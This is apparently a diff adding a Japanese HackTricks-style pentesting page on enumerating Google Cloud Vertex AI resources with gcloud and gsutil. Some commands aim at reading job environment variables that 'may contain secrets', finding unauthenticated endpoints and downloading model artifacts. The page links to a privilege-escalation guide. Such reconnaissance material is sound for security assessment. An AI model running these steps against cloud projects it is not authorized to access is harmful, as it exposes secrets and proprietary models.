+デフォルトでは、Vertex AI サービスは **Compute Engine default service account**（`PROJECT_NUMBER-compute@developer.gserviceaccount.com`）を使用し、プロジェクトに対して **Editor** 権限を持ちます。ただし、次のような場合にカスタムサービスアカウントを指定できます：
+
+- Custom jobs 作成時
+- モデルのアップロード時
+- モデルをエンドポイントにデプロイする際
+
+このサービスアカウントは以下のために使用されます：
+- Cloud Storage 内のトレーニングデータへのアクセス
+- Cloud Logging へのログ書き込み
+- Secret Manager からのシークレットアクセス
+- 他の GCP サービスとの連携
+
+### データの保存
+
+- **モデルアーティファクト** は **Cloud Storage** バケットに保存されます
+- **トレーニングデータ** は通常 Cloud Storage や BigQuery に保存されます
+- **コンテナイメージ** は **Artifact Registry** または Container Registry に保存されます
+- **ログ** は **Cloud Logging** に送られます
+- **メトリクス** は **Cloud Monitoring** に送られます
+
+### 暗号化
+
+デフォルトでは、Vertex AI は **Google-managed encryption keys** を使用します。以下の構成も可能です：
+
+- Cloud KMS による **Customer-managed encryption keys (CMEK)**
+- 暗号化はモデルアーティファクト、トレーニングデータ、エンドポイントに適用されます
+
+### ネットワーキング
+
+Vertex AI リソースは以下のように設定できます：
+
+- **パブリックインターネットアクセス**（デフォルト）
+- **VPC peering** によるプライベートアクセス
+- **Private Service Connect** によるセキュアな接続
+- **Shared VPC** サポート
+
+### 列挙
+```bash
+# List models
+gcloud ai models list --region=
+gcloud ai models describe --region=
+gcloud ai models list-version --region=
+
+# List endpoints
+gcloud ai endpoints list --region=
+gcloud ai endpoints describe --region=
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# List custom jobs
+gcloud ai custom-jobs list --region=
+gcloud ai custom-jobs describe --region=
+
+# Stream logs from a running job
+gcloud ai custom-jobs stream-logs --region=
+
+# List hyperparameter tuning jobs
+gcloud ai hp-tuning-jobs list --region=
+gcloud ai hp-tuning-jobs describe --region=
+
+# List model monitoring jobs
+gcloud ai model-monitoring-jobs list --region=
+gcloud ai model-monitoring-jobs describe --region=
+
+# List Tensorboards
+gcloud ai tensorboards list --region=
+gcloud ai tensorboards describe --region=
+
+# List indexes (for vector search)
+gcloud ai indexes list --region=
+gcloud ai indexes describe --region=
+
+# List index endpoints
+gcloud ai index-endpoints list --region=
+gcloud ai index-endpoints describe --region=
+
+# Get operations (long-running operations status)
+gcloud ai operations describe --region=
+
+# Test endpoint predictions (if you have access)
+gcloud ai endpoints predict \
+--region= \
+--json-request=request.json
+
+# Make direct predictions (newer API)
+gcloud ai endpoints direct-predict \
+--region= \
+--json-request=request.json
+```
+### モデル情報収集
+```bash
+# Get detailed model information including versions
+gcloud ai models describe --region=
+
+# Check specific model version
+gcloud ai models describe @ --region=
+
+# List all versions of a model
+gcloud ai models list-version --region=
+
+# Get model artifact location (usually a GCS bucket)
+gcloud ai models describe --region= --format="value(artifactUri)"
+
+# Get container image URI
+gcloud ai models describe --region= --format="value(containerSpec.imageUri)"
+```
+### エンドポイントの詳細
+```bash
+# Get endpoint details including deployed models
+gcloud ai endpoints describe --region=
+
+# Get endpoint URL
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].displayName)"
+
+# Get service account used by endpoint
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].serviceAccount)"
+
+# Check traffic split between models
+gcloud ai endpoints describe --region= --format="value(trafficSplit)"
+```
+### カスタムジョブ情報
+```bash
+# Get job details including command, args, and service account
+gcloud ai custom-jobs describe --region=
+
+# Get service account used by job
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
+
+# Get container image used
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
+
+# Check environment variables (may contain secrets)
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
+
+# Get network configuration
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.network)"
+```
+### アクセス制御
+```bash
+# Note: IAM policies for individual Vertex AI resources are managed at the project level
+# Check project-level permissions
+gcloud projects get-iam-policy
+
+# Check service account permissions
+gcloud iam service-accounts get-iam-policy
+
+# Check if endpoints allow unauthenticated access
+# This is controlled by IAM bindings on the endpoint
+gcloud projects get-iam-policy \
+--flatten="bindings[].members" \
+--filter="bindings.role:aiplatform.user"
+```
+### ストレージとアーティファクト
+```bash
+# Models and training jobs often store artifacts in GCS
+# List buckets that might contain model artifacts
+gsutil ls
+
+# Common artifact locations:
+# gs://-aiplatform-/
+# gs://-vertex-ai/
+# gs:///vertex-ai/
+
+# Download model artifacts if accessible
+gsutil -m cp -r gs:///path/to/artifacts ./artifacts/
+
+# Check for notebooks in AI Platform Notebooks
+gcloud notebooks instances list --location=
+gcloud notebooks instances describe --location=
+```
+### モデルガーデン
+```bash
+# List Model Garden endpoints
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# Model Garden models are often deployed with default configurations
+# Check for publicly accessible endpoints
+```
+### Privilege Escalation
+
+次のページで、**abuse Vertex AI permissions to escalate privileges** の方法を確認できます:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
+{{#endref}}
+
+## 参考
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}
.png)
.png)
 (1) (1).png)
.png)
.png)